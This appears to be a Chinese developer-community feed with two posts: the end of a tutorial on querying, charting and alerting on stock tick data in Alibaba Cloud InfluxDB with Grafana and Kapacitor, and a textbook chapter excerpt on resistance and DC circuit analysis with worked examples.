        > select sum(volume) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z'
        name: tick_data
        time                 sum
        ----                 ---
        2019-10-21T00:00:00Z 945952

        查询某支股票2019-10-21日每小时的成交额(元):

        > select sum(amount) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z' group by time(1h)
        name: tick_data
        time                 sum
        ----                 ---
        2019-10-21T00:00:00Z
        2019-10-21T01:00:00Z
        2019-10-21T02:00:00Z
        2019-10-21T03:00:00Z
        2019-10-21T04:00:00Z
        2019-10-21T05:00:00Z
        2019-10-21T06:00:00Z
        2019-10-21T07:00:00Z
        2019-10-21T08:00:00Z
        2019-10-21T09:00:00Z 363351603
        2019-10-21T10:00:00Z 531834212
        2019-10-21T11:00:00Z 88167896
        2019-10-21T12:00:00Z
        2019-10-21T13:00:00Z 207135153
        2019-10-21T14:00:00Z 372167894
        2019-10-21T15:00:00Z 26619332
        2019-10-21T16:00:00Z
        2019-10-21T17:00:00Z
        2019-10-21T18:00:00Z
        2019-10-21T19:00:00Z
        2019-10-21T20:00:00Z
        2019-10-21T21:00:00Z
        2019-10-21T22:00:00Z
        2019-10-21T23:00:00Z

        选择

        阿里云InfluxDB®支持的聚合函数有:BOTTOM()FIRST()LAST()MAX()MIN()PERCENTILE()SAMPLE()TOP()
        查询某支股票2019-10-21日P99的成交价格:

        > select percentile(price, 90) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z'
        name: tick_data
        time                 percentile
        ----                 ----------
        2019-10-21T10:27:42Z 16.91

        随机对某支股票2019-10-21日9:00am~3:00pm成交价格进行平均采样:

        > select sample(price, 10) from tick_data where code='000001.SZ' and time >= '2019-10-21T09:00:00Z' and time <= '2019-10-21T15:00:00Z'
        name: tick_data
        time                 sample
        ----                 ------
        2019-10-21T10:27:18Z 16.93
        2019-10-21T11:02:48Z 16.82
        2019-10-21T11:11:36Z 16.87
        2019-10-21T13:19:21Z 16.78
        2019-10-21T13:22:24Z 16.77
        2019-10-21T13:41:09Z 16.78
        2019-10-21T13:44:18Z 16.78
        2019-10-21T14:19:15Z 16.83
        2019-10-21T14:19:21Z 16.83
        2019-10-21T14:22:30Z 16.85

        转换

        阿里云InfluxDB®支持的转换函数有:ABS()ACOS()ASIN()ATAN()ATAN2()CEIL()COS()CUMULATIVE_SUM()DERIVATIVE()DIFFERENCE()ELAPSED()EXP()FLOOR()HISTOGRAM()LN()LOG()LOG2()LOG10()MOVING_AVERAGE()NON_NEGATIVE_DERIVATIVE()NON_NEGATIVE_DIFFERENCE()POW()ROUND()SIN()SQRT()TAN()
        计算某支股票2019-10-21日每15分钟成交价格的变化:

        > select derivative(mean(price)) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z' group by time(15m)
        name: tick_data
        time                 derivative
        ----                 ----------
        2019-10-21T09:30:00Z 0.18167224080267985
        2019-10-21T09:45:00Z 0.049361092530652684
        2019-10-21T10:00:00Z 0.13140000000000995
        2019-10-21T10:15:00Z 0.10268372352284771
        2019-10-21T10:30:00Z 0.02356981183064022
        2019-10-21T10:45:00Z -0.02005673170050315
        2019-10-21T11:00:00Z -0.056542594898782994
        2019-10-21T11:15:00Z 0.02164948213387774
        2019-10-21T11:30:00Z -0.0037370242214223026
        2019-10-21T13:00:00Z -0.009116331096188665
        2019-10-21T13:15:00Z -0.026667201136095997
        2019-10-21T13:30:00Z -0.010301478953412158
        2019-10-21T13:45:00Z 0.03505827505824399
        2019-10-21T14:00:00Z 0.029964323811768168
        2019-10-21T14:15:00Z 0.012986349675813358
        2019-10-21T14:30:00Z 0.02997171129489118
        2019-10-21T14:45:00Z 0.026839533796877646
        2019-10-21T15:00:00Z -0.013153526970953067

        计算某支股票2019年10月的月K线情况:

        > SELECT moving_average(last("close"), 30) FROM "daily" WHERE ("code" = '000001.SZ') AND time >= '2019-09-01T00:00:00Z' and time <= '2019-10-31T00:00:00Z' GROUP BY time(1d) fill(previous)
        name: daily
        time                 moving_average
        ----                 --------------
        2019-10-01T00:00:00Z 14.985999999999994
        2019-10-02T00:00:00Z 15.023999999999994
        2019-10-03T00:00:00Z 15.066999999999991
        2019-10-04T00:00:00Z 15.105333333333325
        2019-10-05T00:00:00Z 15.13899999999999
        2019-10-06T00:00:00Z 15.16499999999999
        2019-10-07T00:00:00Z 15.19099999999999
        2019-10-08T00:00:00Z 15.237333333333321
        2019-10-09T00:00:00Z 15.289333333333323
        2019-10-10T00:00:00Z 15.345666666666656
        2019-10-11T00:00:00Z 15.420666666666655
        2019-10-12T00:00:00Z 15.491666666666655
        2019-10-13T00:00:00Z 15.562666666666654
        2019-10-14T00:00:00Z 15.64733333333332
        2019-10-15T00:00:00Z 15.730666666666654
        2019-10-16T00:00:00Z 15.808666666666655
        2019-10-17T00:00:00Z 15.890666666666654
        2019-10-18T00:00:00Z 15.960666666666652
        2019-10-19T00:00:00Z 16.01633333333332
        2019-10-20T00:00:00Z 16.05533333333332
        2019-10-21T00:00:00Z 16.10699999999999
        2019-10-22T00:00:00Z 16.14299999999999
        2019-10-23T00:00:00Z 16.177666666666656
        2019-10-24T00:00:00Z 16.21899999999999
        2019-10-25T00:00:00Z 16.241333333333323
        2019-10-26T00:00:00Z 16.264999999999993
        2019-10-27T00:00:00Z 16.282333333333327
        2019-10-28T00:00:00Z 16.29966666666666
        2019-10-29T00:00:00Z 16.316999999999997
        2019-10-30T00:00:00Z 16.344666666666665
        2019-10-31T00:00:00Z 16.372333333333334

        预测

        阿里云InfluxDB®支持的预测函数有:HOLT_WINTERS()
        HOLT_WINTERS采用季节性方法返回N个预测的Field Value。HOLT_WINTERS可用于:

        • 预测时间什么时候会超过给定的阈值
        • 将预测值与实际值进行比较,检测数据中的异常
          对降雨量和气温的预测我们常常可以采用此方法,由于股票交易周期性不明显,在此便不再赘述。

        报表展示

        Grafana接入阿里云InfluxDB®可以参考文档,下图在Grafana上展示了某支股票近5年的交易情况:
        image

        数据告警

        Grafana告警

        如下图所示,Grafana支持简单的数据告警,用户可以根据需求自定义告警规则:
        image

        Kapacitor告警

        Kapacitor作为TICK生态中的数据处理框架,用于告警、ETL(Extract-Transform-Load)和检测异常。主要特性包含:

        • 既可以处理流数据(streaming data),也可以处理批量数据(batch data)
        • 定期从InfluxDB查询数据,执行InfluxQL支持的函数,并将处理结果存回InfluxDB
        • 支持添加用户自定义的函数检测异常
        • 与HipChat、OpsGenie、Alerta、Sensu、PagerDuty和Slack等集成

          下面的price.tick脚本以batch的方式处理某支股票的成交价格并设置告警提示:

        batch
            |query('''
                SELECT max(price) AS mprice
                FROM "tick"."rp1"."tick_data"
                WHERE "code" = "000001.SZ"
            ''')
                .period(1d)
                .cron('*/5 * * * *')
            |alert()
                .warn(lambda: "mprice" >= 18.5)
            |influxDBOut()
                .database('alert')
                .measurement('price')
                .tag('kapacitor', 'true')

        运行kapacitor define max-price -tick price.tick -type batch -dbrp tick.rp1 和kapacitor enable max-price便会每5分钟以batch的方式获取股票最高成交价格并告警提示,在alert中可以添加email或者hook推送报警。

        总结

        目前集成TIG(Telegraf/InfluxDB/Grafana)生态的阿里云InfluxDB®已经上线,用户可以在阿里云官网直接购买。当前我们采集了一些沪深股票的日线、历史交易日的分笔数据,以及实例运行主机的cpu、磁盘、内存监控,提供展示Demo供用户实践更好地了解时间序列数据和阿里云InfluxDB®。

        image

        参考文献

        1. 浅谈时序数据库那些事
        2. TSDB for InfluxDB®与自建InfluxDB对比优势
        3. 阿里云时序数据库InfluxDB®主页
        4. 5分钟快速完成系统监控搭建实践
        ]]>
        带你读《电子学:系统方法(原书第5版)》之三:电阻和直流电路 -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章 

        电阻和直流电路  
        目标
        学习完本章内容后,应具备以下能力:
        ●熟悉电流、电荷、电动势、电势差、电阻和功率等术语,并且能写出相关的公式
        ●熟练运用欧姆定律、基尔霍夫电压定律和电流定律
        ●为了分析电路,能够求出电路网络的等效电路
        ●掌握叠加原理及在电路分析中的应用
        ●熟悉节点电压分析法和回路电流分析法,理解其用途和重要性
        ●用节点电压分析法和回路电流分析法求出电路网络中的电流、电压
        ●电路各种分析方法的比较

        3.1 引言

        许多电路分析,以及一些电路设计,仅仅用欧姆定律就可以完成。但是,在有些情况下,还需要用到其他的分析方法,本章开始详细地讨论电路分析。从回顾电路使用的一些基本元件开始,对其特征进行深入的分析。本章涉及多种电路建模方法和分析方法。

        3.2 电流和电荷

        电流代表着电荷的流动,因此

        image.png

        这里的I表示电流,单位是安培(A),Q是电荷,单位是库仑(C),而dQ/dt表示电荷流动的速率(其单位是库仑/秒(C/s))。通常,电流都假定为正电荷的流动。
        在原子量级上看,电流表示电子在流动。每个电子都携带微小的负电荷,约1.6×10-19C。因此,习惯上的电流方向是电子流动方向的相反方向。当然,除非关注器件的物理工作,否则,电流到底是电子运动还是正电荷运动并不重要的。
        由式(3.1)可以得到电流流动时流过的电荷数量为

        image.png

        如果电流是常数,则电荷的公式就很简单,等于电流和时间的乘积。

        Q=I×t

        3.3 电压源

        电压源产生电动势(electromotive force,e.m.f.),从而在电路中产生电流。电动势并不是一种力,而是代表着电源传输电荷所需要的能量。电动势的单位是伏特,相当于两点之间的电势差,1V等于用1J的能量在两点之间运送1C的电荷。
        实际的电压源,比如电池,是有内阻的,这限制了电池可以提供的电流大小。在电路分析中,经常使用理想电压源的概念,理想电压源是没有内阻的。电压源分为恒定电压源和交流电压源,以及受某些物理量控制的电压源(受控电压源)。图3.1给出了代表不同形式的电压源的符号。
        在电路中用来表示电压的符号有很多种。大部分北美出版的书采用的符号是用‘+’来代表电压的极性。在英国和其他许多国家更常用的符号如图3.1所示,即用一个箭头表示电压的极性。箭头旁边的标注表示箭头头部所对应的点相对于箭头尾部所对应点之间的电压。这种符号的好处在于其标注可以很明白地表示出正、负或者交流量。

        image.png

        3.4 电流源

        除了理想电压源的概念以外,理想电流源的模型也是很容易建立的。正如理想电压源一样,理想电流源也不是可物理实现的。但是,使用这样一种概念上的模型会极大地简化某些电路分析。正如理想电压源会产生一定的电压,与其所接负载无关一样,理想电流源始终输出特定值的电流。电流可以是恒定的,也可以是交流的(依赖于电流源的特性),或者受电路内的某物理量控制(受控电流源)。电流源的符号如图3.2所示。

        image.png

        理想电压源具有零输出电阻,而理想电流源具有无穷大的输出电阻。考虑到负载效应及无论负载如何变化,理想电流源的输出电流都必须保持恒定,因此,理想电流源具有无穷大的输出电阻。

        3.5 电阻和欧姆定律

        读者都知道电子工程中最著名的关系式,即导体上的电压正比于导体上的电流(欧姆定律):

        V∝I

        关系式中的比例常数称为导体的电阻(R),因此

        image.png

        电阻的单位是欧姆(Ω)。当一个电路两端的电势差为1V,而电路上的电流正好为1A时,电路电阻就为1Ω(见第1章)。
        当电流流过电阻时,电阻上会产生功耗。功率的消耗方式是产生热量。功率(P)与V、I及R的关系如下:

        image.png

        在电路中产生阻抗的元件称为电阻。材料的阻抗由材料尺寸和材料的电特性决定的。可以进一步地用其电阻率ρ表示,有时候也用电导率σ表示,电导率是电阻率的倒数。图3.3给出了一种材料电阻,其两端有产生电接触用的接线。如果元件是粗细均匀的,其电阻可以直接与其长度(l)成正比,与其截面积(A)成反比。在这种情况下,元件的电阻为

        image.png

        电阻率的单位为欧[姆]·米(Ω·m)。铜在0℃时的电阻率为1.6×10-8Ω·m,而碳在0℃时的电阻率为6500×10-8Ω·m。

        image.png

        由于电流流过电阻时会产生热量,就会导致电阻的温度升高。大多数材料的电阻值会随着温度的变化而变化,变化量由电阻的温度系数α决定。纯金属具有正的温度系数,这意味着其电阻值会随着温度的上升而增加。许多其他的材料(包括大部分绝缘体)则具有负的温度系数。电阻所采用的材料应该是受温度影响最小的材料。温度的过度升高除了改变电阻值以外,还不可避免地会损伤电阻。因此,任何元件都不应该超过其最大的额定功率工作。大尺寸元件有大的表面积,因此可以有效地散热。因此,额定功率随着电阻的物理尺寸变大而增加(尽管还受其他因素的影响)。体积小的通用电阻可能有18W或者14W的额定功率,而大尺寸的电阻可以承受数瓦的功率。

        3.6 电阻串并联

        在第1章,我们注意到电阻串联或者并联后会有相应的等效电阻。在继续后面的内容之前,我们需要了解其原理。
        在图3.4a给出的电路中,电压V加在串联电阻R1、R2、…、RN上。每个电阻上的电压等于电流(I)和电阻的乘积。电压V等于每一个电阻上的电压之和,因此

        V=IR1+IR2+…+IRN=I(R1+R2+…+RN)=IRR=R1+R2+…+RN。

        因此,电路的行为就如同将串联的电阻替换为阻值等于总电阻的单个电阻一样。

        image.png

        图3.4b给出了电阻并联的电路。每个电阻上的电压等于电压V,所以每个电阻上的电流等于电压V除以各自的电阻值。总电流I等于每个电阻上的电流之和,因此:

        image.png
        image.png

        因此,电路的行为就如同将并联的电阻替换为单个电阻一样,该单电阻的倒数等于每一个电阻的倒数之和。
        并联符号
        电阻的并联在电路中很常见,所以有专门的符号来表示并联电阻的等效电阻,即将电阻名或者电阻值用符号“∥”隔开。因此,R1∥R2是R1和R2并联以后的等效电阻。与此相似,10kΩ∥10kΩ就表示两个10kΩ的电阻并联(即5kΩ)。

        3.7 基尔霍夫定律

        电路中两个或者多个元件相连接的点称为节点,而电路上任何闭合路径,只要没有经过任何一个节点两次或者两次以上,就称为回路。一个回路中如果没有其他回路就称为网孔。图3.5给出了定义的例子。图中A、B、C、D、E和F是电路中的节点,而路径ABEFA、BCDEB和ABCDEFA表示回路。可以发现前两个回路还是网孔,最后一个回路不是网孔(因为含有更小的回路)。

        image.png

        3.7.1 电流定律

        基尔霍夫电流定律指出,在任意时间,流入电路中任意节点电流的代数和为零。如果定义流入节点的电流为正,流出节点的电流为负,则所有电流的总和必须为零,即

        ΣI=0

        图3.6对此进行了举例说明。在图3.6a中,每一个电流都定义为流入节点,因此各个电流之和为零。显而易见,其中的一个或者多个电流必然为负,这样公式才能成立(除非电流全部为零)。流入节点的电流为-I就相当于流出节点的电流I。在图3.6b中,一些电流定义为流入节点,一些电流定义为流出节点,如公式所示。

        image.png

        例3.1确定右图电路中电流I4的大小。

        image.png

        解:对流入节点的电流进行求和,可以得到:I1-I2-I3+I4=0
        8-1-4+I4=0
        I4=-3(A)因此,I4等于-3A,即电流强度为3A,实际电流方向与图中所标箭头方向相反。

        3.7.2 电压定律

        基尔霍夫电压定律指出,在任意时间,任意回路电压的代数和为零,即

        ΣV=0

        应用电压定律唯一的困难是,在计算中要确保电压极性正确。一个简单的方法是在电路图中用箭头代表每一个电动势和电势差的极性(如之前电路一样)。沿着顺时针方向在环路中绕行,任意与绕行方向相同的箭头表示正电压,而与绕行方向相反的箭头表示负电压,如图3.7所示。

        image.png

        在图3.7a中,所有电动势和电势差均定义为顺时针方向。因此,它们的和就必然为零。需要注意的是图中的箭头方向仅仅是电压定义(或者测量)的方向,并不表示实际电压的极性。在图3.7a中,如果E的值为正,则电压源的上端相对于其下端的电压为正。如果E的值为负,则电压的极性相反。同样,E可以用来表示变化的电压或者交流电压,但是其在公式中的关系仍然不变。在图3.7b中,有些电动势和电势差定义为顺时针方向,另一些定义为相反方向。在给出的公式中可以看出,顺时针方向的量是加上的,而逆时针方向的量是减去的。
        例3.2确定右图电路中V2的大小。

        image.png

        解:在回路ABCDA中,沿顺时针方向将所有电压相加,可得:E-V1+V2-V3=0
        12-3+V2-3=0
        V2=-6(V)因此,V2等于-6V,即电势差为6V,节点B的电势高于节点C的电势。如果在定义V2的方向时取相反方向,则计算结果就是+6V,同样是电势差为6V,节点B的电势高于节点C的电势。

        3.8 戴维南定理和诺顿定理

        用简单的等效电路模拟实际电路的行为对电路的分析很方便。例如,可以用一个理想电压源和一个串联电阻来代表一个实际电压源(比如电池)。这就是戴维南等效电路的一个实例。基于戴维南定理的电路结构表述如下:
        从外部看,任意由电阻和电源组成的双端口网络都可以用一个理想电压源V和一个电阻R串联所代替,V是网络的开路电压,R是在网络两个输出端测量得到的电阻,测量时电源用其内阻代替。
        这样简单的等效电路不仅可以代表电池,还可以代表任意由电阻、电压源和电流源组成的双端口网络。有一点非常重要,即仅仅是从网络的外部看才等效。等效电路并不能表示网络的内部特征,比如其功耗。
        尽管戴维南等效电路非常有用,但是在有些情况下用电流源等效电路比用电压源等效电路更方便。诺顿定理就是关于电流源的等效电路。基于诺顿定理的电路结构表述如下:
        从外部看,任意由电阻和电源组成的双端口网络都可以用一个理想电流源I和一个电阻R并联所代替,I是网络的短路电流,R是在网络端口测量到的电阻,测量时将电源用其内阻代替。
        这两个定理表述在图3.8中,表明这类电路可以表示为两种等效电路中的任意一种。用哪一种等效电路需要根据具体的应用而定。对简单的电池建模时,用戴维南定理会比较方便。而在后续章节中,我们会发现在考虑器件问题时,如晶体管,用诺顿定理会更方便。

        image.png

        图3.8中的三种结构是等效的,所以在任何情况下的输出也应该是相同的。如果输出端口开路,输出必然也相同:这就是开路电压VOC。同样,如果将输出端口短路,每一种电路应该产生相同的电流:短路电流ISC。由此可以推出等效电路中各变量之间的关系。
        从上述定理可以很明显地看出每一种等效电路都有相同的电阻R。如果将戴维南等效电路的输出端短路,根据欧姆定律,电流ISC由下式求出:

        image.png

        与之类似,对于诺顿等效电路,同样根据欧姆定律,开路电压由下式确定:

        image.png

        整理上述公式,可以得到两个等效电路中的电阻均为

        image.png

        因此,电阻由开路电压和短路电流决定。或者,电阻也可以通过以下方法求出,也就是,将电路中的电压源或电流源移走以后,从电路输出端口看进去的电阻。
        对于用来描述等效电路模型的元器件值,可以分析电路图得到,也可以测量实际电路得到。下面举例说明。
        例3.3求出右图电路的戴维南等效电路和诺顿等效电路。

        image.png

        解:如果输出端不连接,电阻R2上就不会有电流流过,也不会有电压降。因此,输出电压仅仅由电压源以及R1和R3组成的分压器决定。两个电阻的阻值相等,输出电压就等于电压源电压的一半,所以VOC=30/2=15(V)如果将输出端短路,R2实际上是和R3并联的,所以其并联电阻为R2∥R3=10kΩ∥10kΩ=5kΩ。因此,与电压源所连接的总电阻为R1+5kΩ=15kΩ,从电源流出的电流为30V/15kΩ=2mA。既然R2和R3并联,并且其电阻值同样大,则流过每个电阻的电流应该是一样的。因此,每个电阻上的电流为2mA/2=1mA。电阻R2上的电流也是输出电流(本例中是短路输出电流),所以ISC=1(mA)根据式(3.4),我们知道戴维南和诺顿等效电路中的电阻由VOC和ISC的比值决定,因此R=VOC/ISC=15/1=15(kΩ)或者,R可以通过如下方法得到:将电路的电压源用其内阻替换,从电路输出端往内看得到的有效电阻就是R。理想电压源的内阻为零,所以电路中R1实际上是和R3并联的。在输出端观察得到的电阻为R2+(R1∥R3)=10kΩ+(10kΩ∥10kΩ)=15kΩ,与前面得到的结果一致。
        因此,等效电路如下。

        image.png

        为了从实际电路求出其等效电路(不是指从电路图得到等效电路),可以对电路特性进行测试。既然可以从开路电压VOC和短路电流ISC求出等效电阻值,简单的方法就是直接测量开路电压VOC和短路电流ISC。用高内阻的电压表在电路输出端进行测量,如果电压表的输入电阻比电路的输出电阻大很多,就可以得到可靠的开路电压值。但是,直接测量短路电流很困难,这是因为电路短路有可能损坏电路。可以用其他代替方法,测量其他值,并用测量结果推算VOC和ISC。
        例3.4一个双端口网络的内部电路未知,采用在输出端加不同负载并测量其输出电压的方法进行研究。当输出端所接电阻为25Ω时,输出电压为2V。当负载为400Ω时,输出电压为8V。求出该未知电路的戴维南等效电路和诺顿等效电路。

        image.png

        解:方法1
        一种方法就是画出输出电流相对于输出电压的图。当输出电压为2V时,输出电流为2V/25Ω=80mA;当输出电压为8V时,输出电流为8V/400Ω=20mA。由此可得右图。
        由此可以推导,当输出电流为零时,输出电压为10V(即开路电压);当输出电压为零时,输出电流为100mA(即短路电流)。根据式(3.4),有R=VOCISC=10/100=100(Ω)因此,等效电路如下。

        image.png

        方法2
        不用图形的方法同样可以解决这个问题。例如,假设将电路替换为由电压源VOC和电阻R组成的戴维南等效电路,则可以得到下面的电路。

        image.png

        对图a和b运用分压公式可得:VOC25R+25=2 和 VOC400R+400=8再得联立方程组:25VOC=2R+50
        400VOC=8R+3200可以解得VOC=10和R=100。而ISC的值可以由式(3.4)得到,和之前得到的结果相同。

        3.9 叠加

        当电路包含多个电源时,通常用叠加原理进行简化。每个电压源和电流源独立进行计算,然后对计算值进行叠加,就可以得到多个电源作用的结果。叠加原理的准确描述如下:
        在任何一个由电压源、电流源和电阻组成的线性网络里,电路中每个点的电压或电流等于电路中每个电源单独作用时在该点产生的电压或电流值的代数和。计算每个电源单独作用的效果时,其余电源均用其内阻代替。
        通过下面例子可以更容易地理解叠加原理。
        例3.5计算下图电路的输出电压V。

        image.png

        解:首先考虑15V电压源单独作用时的情况。将其余电压源用其内阻代替,对于理想电压源来说,其内阻为零(将电压源换成短路线即可)。于是,得到了下面的电路。

        image.png

        在该电路中,R2和R3并联,然后和电阻R1组成分压器,可得:V1=15×200//50/100+200//50=15×40/(100+40)=4.29(V)然后,再来考虑20V电压源,将15V电压源短路,可以得到下图:

        image.png

        在该电路中,R1和R3并联得,然后和电阻R2组成分压器,可得:V2=20×100//50/(200+100//50)=20×33.3/(200+33.3)=2.86(V)注意,R1和R3是并联的,所以在画图的时候也可以将这两个电阻并排画在一起。
        原电路的输出就是对上述结果进行相加得到:V=V1+V2=4.29+2.86=7.15(V)
        计算机仿真练习3.1
        用计算机仿真的方法研究例3.5中的电路,求出电压V的幅值,并且证实其与预期结果一致。
        电流源的有效内阻为无穷大。因此,在去除电流源的影响时,直接将电流源移去,使其开路即可。通过下面的例子对此加以说明。
        例3.6计算下图电路的输出电流I。

        image.png

        解:首先考虑电压源的作用。所以先将电流源用其内阻替换,由于理想电流源的内阻为无穷大,直接将其开路,可得到下图电路。

        image.png

        因此I1=5/(10+5)=0.33(A)然后,考虑电流源的作用,将电压源短路以后得到右图。
        其中两个电阻实际上是并联的,电阻值为10Ω//5Ω=3.33Ω,两个电阻上的电压为2A×3.33Ω=6.66V。因此,电流I2由下式给出:I2=6.665=1.33(A)原电路的输出就是上述结果相加得到的值:I=I1+I2=0.33+1.33=1.66(A)

        image.png

        计算机仿真练习3.2
        用计算机仿真的方法研究例3.6中的电路,求出电流I的幅值,并且证实其与预期结果一致。

        3.10 节点分析法

        在3.7节中,我们可以将基尔霍夫电流定律应用于电路中的任意节点,将基尔霍夫电压定律应用于电路中的任意回路。在实际电路分析中,往往要将这两个定律应用于一组节点和回路。这样就会产生一个联立方程组,求解该方程组可以得到电路中各个节点电压和回路电流。但是,电路越复杂,电路中的节点数和回路数就越多,分析就变得更加复杂。为了简化分析过程,常常采用两种系统分析法中的一种,生成方程组,这就是节点分析法和回路分析法。在本节我们讨论节点分析法,下一节讨论回路分析法。

        image.png

        节点分析法是一种在电路节点上运用基尔霍夫电流定律的系统分析方法,其目的在于产生一方程组。这一方法由六个步骤组成:
        1) 在电路中选择一个节点作为参考节点。参考节点的选择是任意的,但是一般都会选择地作为参考节点,所有的电压都是相对于参考节点进行测量的。
        2) 电路中其余节点的电压用V1、V2、V3等符号表示。同样,这些节点电压的序号是任意选择的。
        3) 如果某些节点的电压是已知的(存在恒定电压源),将这些节点电压值标注在电路图相应节点上。
        4) 对未知电压的节点运用基尔霍夫电流定律,会得到一方程组。
        5) 由方程组可以解出未知的节点电压。
        6) 如果需要,由节点电压可以计算出电路中的电流。

        image.png

        通过图3.9a来说明这一方法,其是一个相对简单的电路,没有特别标注为地的节点,我们可以选择低电势点作为参考点。将其余3个节点电压标注为V1、V2和V3,如图3.9b所示。显然,与电压源相连接的V1等于E,将其标注在图上。下一步就是对所有电压未知的节点用基尔霍夫电流定律列出方程。在本例中,只有V2和V3电压未知,所以只需要考虑这两个节点。
        首先考虑V2节点。图3.9c用IA、IB和IC标注了流入该节点的电流。运用基尔霍夫电流定律可得:

        IA+IB+IC=0

        这些电流可以很容易地根据电路图进行确定。每个电流都可以根据相应电阻上的电压求出,电压就是两个节点间的电势差,即

        image.png

        由于需要得到的是流入电压为V2的节点的电流,在计算中均用其他节点的电压减去V2。对电流求和可得:

        image.png

        用同样的方法,可以求出V3节点的电流公式:

        image.png

        这样就得到了两个公式,可以解出V2和V3的值。根据V2和V3,就可以解出需要的电流值。
        图3.9中的电路只包含了一个电压源,用节点分析法可以分析包含多个电压源或者电流源的电路。在电压源中,其输出电压是确定的,而其输出电流是未知的。在电流源中,其输出电流是确定的,而其两端电压是未知的。
        例3.7计算下图电路中的电流I1。

        image.png

        解:首先选择参考节点,并且对各个节点的电压用符号标注,标明其中的已知电压值。

        image.png

        然后,对于电压未知的节点,对流入节点的电流进行求和,可以得到:
        (50-V2)/10+(V3-V2)/20+(0-V2)/15=0

        (V2-V3)/20+(100-V2)/30+(0-V3)/25=0
        解这两个方程(留给读者练习)可得:V2=32.34(V)
        V3=40.14(V)
        电流I1为
        I1=V3/25=40.14/25=1.6(A)
        计算机仿真练习3.3
        用计算机仿真的方法研究例3.7中的电路,求出电压V2和V3以及电流I1的值,并且证实其与预期结果一致。

        3.11 回路分析法

        与节点分析法一样,回路分析法也是一种用描述电路行为的方程组进行分析的系统分析方法。在回路分析中,基尔霍夫电压定律会用在电路中的每一个回路中。分析步骤如下:
        1) 确定电路中的回路,给每一个回路分配一个顺时针方向的电流,分别用I1、I2、I3等符号表示。
        2) 对每一个回路用基尔霍夫定律计算顺时针方向的电压之和,其值为零。这样会生成方程组(每个回路产生一个方程)。
        3) 解方程组,求出电流I1、I2、I3等。
        4) 用求得的电流值 图3.10 网孔分析法计算所需要的电压值。

        image.png

        用图3.10来说明回路分析法。图3.10a包含两个回路,在图3.10b进行了标注。然后需要确定电路中各个电压的极性。在这个阶段,极性是任意给定的,只要在计算时可以明确电压的极性即可。注意在一个方向上的正电流会在电阻上产生另外一个方向的电压降。因此,在图3.10c中,如果I1是正的,则VA也是正的。

        image.png

        定义了电压和电流的方向之后,就可以根据定义的方向写方程了。可以在每一个回路中沿顺时针方向对电压求和,并且令其等于0。对于第一个回路,可得:

        E-VA-VC=0
        E-I1RA-(I1-I2)RC=0

        只有I1流过RA,所以VA就等于I1RA。而在电阻RC上,电流I1流过RC的方向与I2流过RC的方向相反。因此,该电阻上的电压为(I1-I2)RC。对第二个回路采用同样的步骤可得:

        VC-VB-VD=0
        (I1-I2)RC-I2RB-I2RD=0

        因此得到两个与I1和I2相关的方程。联立方程组可以解出相应的电流,并可进一步计算出各电压值。
        跟节点分析法一样,回路分析法也可以分析具有多个电压源或者电流源的电路。
        例3.8计算下图电路中10Ω电阻上的电压。

        image.png

        解:该电路有三个回路。设定回路电流分别为I1、I2和I3,如下图所示。电路图中还定义了各个电压,为了便于解释,并给出了各个电阻的名称。

        image.png

        下一步是对每一个回路用基尔霍夫电压定律写方程。通常,在写方程的时候会直接使用元件值和电流。为了有助于理解分析过程,首先用元件的符号来写方程。依次考虑三个回路,可得:
        E-VA-VC-VF-VH=0
        VC-VB-VD+VE=0
        VF-VE-VG-VJ=0
        由此得到下面的方程组:
        50-70I1-20(I1-I2)-30(I1-I3)-40I1=0
        20(I1-I2)-100I2-80I2+10(I3-I2)=0
        30(I1-I3)-10(I3-I2)-60I3-90I3=0
        整理可得:
        50-160I1+20I2+30I3=0
        20I1-210I2+10I3=0
        30I1+10I2-190I3=0
        解该方程组可得:
        I1=326(mA)
        I2=34(mA)
        I3=53(mA)10Ω
        电阻上的电压降可以用流过该电阻的电流与电阻相乘得到:
        VE=RE(I3-I2)
        =10×(0.053-0.034)
        =0.19(V)
        计算出的电压值为正,就表明电压的极性跟箭头所示的方向一致,即电阻左端的电势高于右端电势。
        计算机仿真练习3.4
        用计算机仿真的方法研究例3.8中的电路,求出三个电流I1、I2和I3以及电压VE的值,并且证实其与预期结果一致。
        电流方向的定义和电压求和方向的定义是任意的。当然,如果始终选择常用的方向,就会最大限度地避免犯错。这就是为什么我们在前面的所有例子中始终指定顺时针方向为正方向的原因。

        3.12 电路联立方程组的求解

        我们发现用节点分析法和回路分析法都会产生一组联立方程组,求解方程组可以得到所需的电压和电流。当分析的是仅仅包含几个节点和回路的简单电路时,方程组的方程个数足够少,可以用手工计算,例如前面的例题。但是,对于复杂的电路,手工解方程组的方法就很烦琐。
        一种更好的方法是将方程组用矩阵的形式表示,并且用矩阵代数的方法求解。例如,在例3.8中,有下面的方程组:
        50-160I1+20I2+30I3=0
        20I1-210I2+10I3=0
        30I1+10I2-190I3=0
        可将此整理成下面的形式:
        160I1-20I2-30I3=50
        20I1-210I2+10I3=0
        30I1+10I2-190I3=0
        用矩阵形式表示如下:

        image.png

        这个矩阵可以用克莱默法则或者其他矩阵代数方法进行求解。或者,也可以用自动化工具求解。当方程的数量较少时,可用很多科学计算器求解。当联立方程组的方程个数很多时,将其表示为矩阵形式,就可以用如MATLAB或者Mathcad的计算机程序包求解。

        3.13 方法的选择

        在本章中,我们学习了几种分析电路的方法。存在一个问题,对一个给定的题目,究竟该选用哪一种方法来分析。遗憾的是,对选择哪种分析方法并没有简单的法则。通常要根据具体的电路形式以及哪一种方法更适用来选择。像节点分析法和回路分析法,在很多情况下都适用,但并不是在每种情况下都是最简单的方法。对于给定情况下的方法选择问题,可以参考“进一步学习”。
        在一些给定的电路中,某种方法会比其他方法更易于使用。并且随着所做练习题数量的增加,读者可以提高选择最简单方法的能力。简单电路的分析通常是简单明了,而复杂电路的分析可能会耗费很多时间。在这种情况下,我们通常会用基于计算机的网络分析工具。基于计算机的网络分析工具通常采用节点分析法,可以分析非常复杂的电路。当然,在很多情况下,本章阐述的手工分析方法已经完全够用了。
        进一步学习

        image.png

        考虑下图所示的电路可以用多少种分析方法来分析。

        image.png

